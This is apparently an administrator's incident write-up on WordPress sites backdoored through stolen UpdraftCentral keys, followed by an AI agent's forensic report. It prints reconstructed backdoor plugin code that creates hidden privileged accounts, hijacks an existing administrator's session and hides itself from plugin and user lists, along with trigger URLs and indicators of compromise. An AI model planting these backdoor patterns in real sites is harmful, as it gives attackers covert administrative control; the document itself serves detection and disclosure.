Between 18 October 21:32 UTC and 19 October 07:29 UTC, three WordPress sites I manage — referred to here as xxxx.com, yyyy.com and zzzzz.com — were each implanted with backdoor plugins. No vulnerability was exploited. The attacker used stolen UpdraftCentral dashboard keys to push signed plugin.upload_plugin commands through the UpdraftPlus remote-management channel — commands every site accepted as legitimate, because they were signed with genuine keys.
The attacker deployed three distinct payloads:
- The “crasher” (all three sites): a magic-link backdoor whose buggy code also threw a fatal error on every page load under PHP 8, taking each site offline — which is how the intrusion was discovered.
- The hidden-admin kit (xxxx.com): a fully working backdoor that creates an invisible administrator or hijacks an existing admin session.
- The invisible magic-link (xxxx.com): a backdoor that removes itself from the plugin list entirely.
The campaign was independently documented the same day by Patchstack and Nethemba. Patchstack observed 99 distinct plugin names across the campaign and identified “Site Health Cache” as the most reused one.
Timeline
| When | What happened |
|---|---|
| June 2026 | UpdraftPlus patches CVE-2026-10795, an unauthenticated command-forgery flaw in the same UpdraftCentral channel. Unrelated to this attack — the actor here uses real keys, not the forgery. |
| 17 Oct, 06:27 | xxxx.com: repeated “Could not decrypt incoming message” errors in the UpdraftCentral client log — the attacker testing keys against the channel. |
| 17–18 Oct | xxxx.com: parallel credential-stuffing attempts against the login form (all failed) from rotating IPs. |
| 18 Oct, 15:32 | First campaign installation appears in Patchstack telemetry. |
| 18 Oct, 21:32:34 | xxxx.com infection #1: plugin.upload_plugin installs “Site Health Cache” — the invisible backdoor. Site keeps working; nothing looks wrong. |
| 18 Oct, 22:30:50 | xxxx.com infection #2: “Seo Lab” installed; its activation timestamp lands one second later (22:30:51) in the options table. |
| 19 Oct, 01:31:33 | yyyy.com infection: “Load Press” installed. Its buggy code fatals on every request → site down. A 2 GB debug.log accumulates. |
| 19 Oct, 06:35:59 | xxxx.com infection #3: “Block Suite 926” installed — same crasher family → site down. |
| 19 Oct, 07:29:23 | zzzzz.com infection: “Query Module” installed → site down. |
| 19 Oct, 09:23 | Most recent campaign installation observed in Patchstack telemetry. |
| 19 Oct, 12:00–13:30 | All three sites remediated: backdoors removed, UpdraftCentral keys deleted, database passwords and salts rotated, WordPress core checksum-verified. |
How the Delivery Channel Works
UpdraftPlus’s UpdraftCentral remote procedure call channel listens on ordinary POST requests to the site root. Every command is encrypted and signed with the dashboard keys stored in the site’s wp_options table as updraft_central_localkeys. If you hold valid keys, you can send a plugin.upload_plugin command and WordPress will install and activate a supplied plugin through its own installer.
Three properties make this channel a perfect delivery vehicle for malware:
- It is intended behaviour. No vulnerability, no CVE, no patchable code path. From the site’s point of view, the command comes from the owner.
- It is quiet. The plugin install happens through the normal installer; a WAF sees a legitimate signed request.
- It scales. One key set manages every site connected to that dashboard. One compromise = one blast radius covering every connected site — which is exactly why one actor hit all three of mine within 33 hours.
This also means updating UpdraftPlus does not stop the attack. The only real fix is revoking the keys.
The Three Payloads
Payload A — the magic-link “crasher” (“Load Press”, “Query Module”, “Block Suite 926”)
Randomised two-to-three-word plugin names with fictitious authors (“StoneDock Tools”, “Harbor Stack Labs”). Every sample in the campaign carries the identical description string — this is the strongest file-level indicator of compromise:
"Small maintenance toolkit: keeps option storage tidy."
The backdoor logic, reconstructed:
<?php
define('LOADPRESS_VERSION', '3.1.5');
define('LOADPRESS_TOKEN', '<32-character token>');
define('LOADPRESS_FIELD', '_xxxxxx');
define('LOADPRESS_SVC_LOGIN', 'render.ops41');
define('LOADPRESS_SVC_PASS', '<redacted>');
final class LoadPress {
private function __construct() {
add_action('init', array($this, 'handle_sync'), 1);
}
public function handle_sync() {
if (isset($_GET[self::FIELD]) && hash_equals(self::TOKEN, (string) $_GET[self::FIELD])) {
$user = get_user_by('login', self::SVC_LOGIN);
if (!$user) {
$uid = wp_insert_user(array(
'user_login' => self::SVC_LOGIN,
'user_pass' => self::SVC_PASS,
'role' => 'editor',
));
$u = new WP_User($uid);
$u->add_cap('manage_options');
$u->add_cap('install_plugins');
}
wp_set_current_user($user->ID, $user->user_login);
wp_set_auth_cookie($user->ID, true, is_ssl());
wp_safe_redirect(admin_url('index.php'));
exit;
}
}
}
Hit the site with /?_xxxxxx=<token> and you receive an authenticated admin session: the plugin creates an “editor” account, then grants it manage_options and install_plugins — a de facto administrator with a known password.
The bug that broke everything: the code references self::FIELD, self::TOKEN and friends — class constants that are never defined. Only global LOADPRESS_* constants exist. On PHP 7 this degraded into a warning; on PHP 8 it is a fatal:
PHP Fatal error: Uncaught Error: Undefined constant LoadPress::FIELD
in /home/.../wp-content/plugins/load-press/load-press.php:44
Because the hook runs on init at priority 1, every single request — front end included — dies. The payload was dead on arrival, but it took the site down with it. In this campaign, the broken payload was what exposed the working ones.
Payload B — the hidden-admin kit (“Seo Lab”, fake author “PixelForge”)
This one works perfectly on PHP 8 and ran undetected for hours. A single token-protected endpoint with three modes:
add_action('init', function() {
if (!isset($_GET['92d8e2ff0996'])) return;
if (!hash_equals('<token>', $_GET['92d8e2ff0996'])) return;
$mode = $_GET['m'] ?? '';
if ('setup' === $mode) {
// creates user "site-mgr451" with role administrator,
// saves the ID in option "seo_lab_uid", logs in
} elseif ('svc' === $mode) {
// logs in as the stored service user
} else {
// DEFAULT: logs in as the FIRST EXISTING ADMINISTRATOR.
// No user creation. No artifacts.
}
});
The nastiest part is the default mode: the attacker gains an authenticated admin session using your own administrator account, without creating anything. Then two filters erase the trail:
add_action('pre_user_query', function($query) {
// excludes the service account from every user list view
});
add_filter('pre_count_users', function($counts) {
// decrements the administrator count so nothing looks off
});
The hidden account is invisible from wp-admin, invisible from get_users(), and invisible in the user counts. The only reliable detection is a direct SQL dump of wp_users and the capabilities usermeta — which is how we verified the backdoor had never been triggered (the setup mode was never called, and no account existed).
Payload C — the invisible magic-link (“Site Health Cache” v1.0.0)
The campaign’s signature plugin name. A minimal single-file plugin, active in the plugin list but impossible to see there:
add_filter('all_plugins', function($plugins) {
$file = plugin_basename(__FILE__);
if (isset($plugins[$file])) unset($plugins[$file]);
return $plugins;
}); // Hides itself from the Plugins screen
add_filter('pre_update_option_recently_activated', function($value) {
// also scrubs itself from the "recently active" list
});
add_action('init', function() {
if (isset($_GET['shcheck']) && hash_equals('<token>', $_GET['shcheck'])) {
$admins = get_users(array('role' => 'administrator', 'number' => 1));
if ($admins) {
wp_set_current_user($admins[0]->ID);
wp_set_auth_cookie($admins[0]->ID);
wp_redirect(admin_url());
exit;
}
}
});
One GET request with the right parameter equals an instant, persistent admin session as your first administrator. The source code contains comments in Turkish — one of the few attribution signals in the whole campaign.
Indicators of Compromise
| IOC | Value / pattern |
|---|---|
| Plugin description (file-level, campaign-wide) | Small maintenance toolkit: keeps option storage tidy. |
| Channel command in client log | Command received: plugin.upload_plugin |
| Key-testing probes in client log | Could not decrypt incoming message |
| Options to check / delete | updraft_central_localkeys, updraftcentral_client_log |
| Trigger URL shapes | /?_xxxxxx=<32-char token> · /?92d8e2ff0996=<token>&m=setup|svc · /?shcheck=<token> |
| Backdoor account names | render.ops41, web-desk48, site-mgr451 |
| Fake vendors | StoneDock Tools, Harbor Stack Labs, PixelForge |
| Campaign plugin names observed | 99+ randomised names; “Site Health Cache” most reused |
Detection and Response
The detection playbook that caught all of this:
- Fingerprint the campaign signature:
grep -rl "keeps option storage tidy" wp-content/plugins/ - Read the remote-command log: the
updraftcentral_client_logoption contains every command with timestamps — it gave us the exact drop times for all five implants. - Revoke the keys: delete
updraft_central_localkeys(and the client log) from every site connected to the dashboard. - Hunt hidden users with direct SQL — never trust
get_users()after a hidden-admin kit has been found, since it can be filtered. - Verify core integrity: hash every
wp-admin/wp-includes/ root PHP file and diff against the officialapi.wordpress.orgchecksums for your version. - Rotate everything: database passwords, WordPress salts (kills every issued cookie, including any the attacker minted), FTP passwords, admin passwords.
- Scan uploads and wp-content for PHP files that don’t belong — legitimate uploads contain only stock
index.phpguards.
Lessons Learned
- Remote-management keys are crown jewels. One dashboard compromise equals every connected site. If you don’t use UpdraftCentral actively, disconnect it.
- Silent and noisy implants coexist. The sites that crashed revealed the campaign; the dangerous implants were the two that ran silently for hours. Assume any loud signal has quiet siblings.
- Legitimate-looking signed traffic is not safe traffic. When the attacker holds real keys, detection must happen at the command log and the filesystem, not at the WAF.
- Logs in wp_options are evidence gold. The UpdraftCentral client log turned an incident into a provable timeline.
The Turkish Traces
// wp-admin plugin listesinden GIZLE:
= “HIDE from the wp-admin plugin list:”
// “Recently active plugins” listesinden de temizle:
= “also remove it from the ‘Recently active plugins’ list:”
They precede the two filters that hide the plugin from the dashboard — so the developer’s own notes confirm the evasion intent. It’s the main attribution hint in the whole campaign (Turkish-speaking author).
THE BACKDOOR ACCOUNTS (hardcoded in each sample)
Load Press (yyyy.com) render.ops41 render.ops41@example.org “Site Tools” editor + manage_options + install_plugins
Query Module (zzzzz.com) web-desk48 web-desk48@example.org “Site Tools” editor + manage_options + install_plugins
Block Suite 926 (xxxx.com) web_team46 web_team46@example.org “Site Tools” editor + manage_options + install_plugins
Seo Lab (xxxx.com) site-mgr451 site-mgr451@example.com “Site Mgr” FULL administrator (the only one with direct admin role)
Site Health Cache (xxxx.com) (none) (none) – logs in as your existing first admin
Thank you
@NousResearch, Hermes Agent was previously setup to monitor and suspicious changes on the sites. The best part is that the Agents activated the debug.log (~1.97 GB !), compared the files signatures, cleaned by themselves the infected code, and did a basic forensic report.
Hermes Agents Report
FORENSIC EVIDENCE — zzzzzz (www.zzzzzz.com)
Incident: WordPress backdoor plugin crash / compromise
Collected: 2026-10-19 by Hermes Agent (HivaOa)
============================================================================
VERDICT: HACKED. One confirmed malicious backdoor plugin.
- CONFIRMED MALWARE
Path (live): /home/xxxxxxx/www/wp-content/plugins/load-press/
(renamed to load-press.DISABLED/ by responder 2026-10-19 ~12:06 UTC
to restore service; contents preserved)
Dropped: 2026-10-19 03:31 UTC (FTP mtime)
Files: load-press.php (2,091 B), uninstall.php (135 B),
assets/public.css (24 B), assets/public.js (24 B),
languages/readme.txt (24 B)
load-press.php (full content in bundle):
- Declared “Plugin Name: Load Press”, “Author: StoneDock Tools” (fictional vendor)
- Description: “Small maintenance toolkit: keeps option storage tidy.” (decoy text)
- Hardcoded IOCs:
TOKEN xxxxxxxxxxxx-ogRhSs0SpVdPCbsoa
FIELD _e5be30
SVC_LOGIN render.ops41
SVC_PASS l-xxxxxxxxxxxx - Mechanism (“magic-link” admin backdoor):
Hooked on init (priority 1). Request:
GET /?_e5be30=xxxxxxxxxxx-ogRhSs0SpVdPCbsoa
→ creates WP user “render.ops41” (email render.ops41@example.org,
display_name “Site Tools”, role editor) and elevates it with
caps manage_options + install_plugins (= de-facto admin),
sets an auth cookie for that user, redirects to /wp-admin/.
= fully unauthenticated administrative access via one URL. - Why it crashed the site:
Code references self::FIELD / self::TOKEN (class constants) but only
defines global constants LOADPRESS_* → on PHP 8.4 this raises
“Uncaught Error: Undefined constant LoadPress::FIELD” on EVERY request
(line 44), producing the 500 error and filling debug.log.
The backdoor itself never successfully fired (the fatal happens
before the token check completes).
- CRASH EVIDENCE (debug.log)
debug.log at /home/xxxxxx/www/wp-content/debug.log had grown to
~1.97 GB of the same repeated fatal. Tail captured before truncation:
bundle file: debug-log-tail-fatal-errors.log (last ~300 KB, ends 10:07 UTC)
Key entry:
PHP Fatal error: Uncaught Error: Undefined constant LoadPress::FIELD
in /home/xxxxxxx/www/wp-content/plugins/load-press/load-press.php:44
Stack: LoadPress->handle_sync(”) → do_action(‘init’) → wp-settings.php:779
→ wp-config.php:105 → wp-load.php:50 → wp-blog-header.php:13 → index.php:17
- FILES EXAMINED AND CLEARED (no tamper found)
- wp-config.php no injected code; standard structure
- .htaccess (docroot) standard: RSSSL auto_prepend (legit), WP rewrite,
RSSSL Options -Indexes. No AddHandler/redirect abuse. - wp-content/firewall.php stock Really Simple Security Pro generated file
(mtime 02:42 UTC = plugin’s own regeneration; content
is the stock RSSSL template) - wp-content/advanced-headers.php (+ -test.php) stock RSSSL
- wp-load.php, wp-settings.php, wp-blog-header.php, index.php standard WP
- curl.php old (2017) legit nx_curlTest helper, not malicious
- hosting-root .ovhconfig PHP 8.4 / stable64 (plan-level, not attacker-set)
- SECURITY FINDINGS (not malware, should be remediated)
- phpinfo.php in docroot: exposes full PHP environment to anyone (delete it)
- WP_DEBUG=true + WP_DEBUG_LOG=true in wp-config.php (turn off after cleanup)
- .bash_history (SSH): Aug 23 2026 session ran
ls; ps; pwho; who; last; exit
— reconnaissance-style commands; may be owner/previous admin activity,
flag for review (epoch timestamps #1787472908.. = 2026-08-23).
- TIMELINE (UTC, 2026-10-19)
02:42 RSSSL regenerates wp-content/firewall.php (routine)
03:31 Attacker drops load-press backdoor plugin (all 5 files share mtime)
~03:31 Site starts fataling on every request; debug.log balloons to ~2 GB
~10:00 Site confirmed down (HTTP 500) by responder
12:05 Responder rotates agent FTP account password via OVH API
12:06 Responder renames plugins/load-press → load-press.DISABLED; site 200
12:10 debug.log truncated (tail preserved in this bundle)
- HASHES
sha256 manifest for every file in this bundle: MANIFEST-sha256-xxxxxx.com.txt
- RECOMMENDED ACTIONS
- Remove wp-content/plugins/load-press.DISABLED after evidence review.
- Verify NO user named “render.ops41” exists in wp_users (it should not —
the backdoor never executed its user-creation code). Check anyway. - Rotate: WP admin passwords, DB password (update wp-config.php), WP salts,
FTP passwords (attacker had file-write access to the docroot). - Determine entry vector (plugin vuln is suspected — see sibling site
zzzz.com report; wp-file-manager is a prime suspect there). - Delete phpinfo.php; set WP_DEBUG=false; review .bash_history Aug 23 session.
Important: none of these accounts were ever actually created — verified by direct DB queries on all three sites. The crasher variants died before their creation code could run, and Seo Lab’s “setup” mode was never triggered. They’re still the accounts to watch for if any other site was connected to the same UpdraftCentral dashboard.
Site names anonymised as xxxx.com, yyyy.com and zzzzz.com. All timestamps UTC.
References
- Patchstack — Stolen UpdraftCentral Keys Are Backdooring WordPress Sites (19 Oct 2026)
- Nethemba — Critical security problem in UpdraftCentral (19 Oct 2026)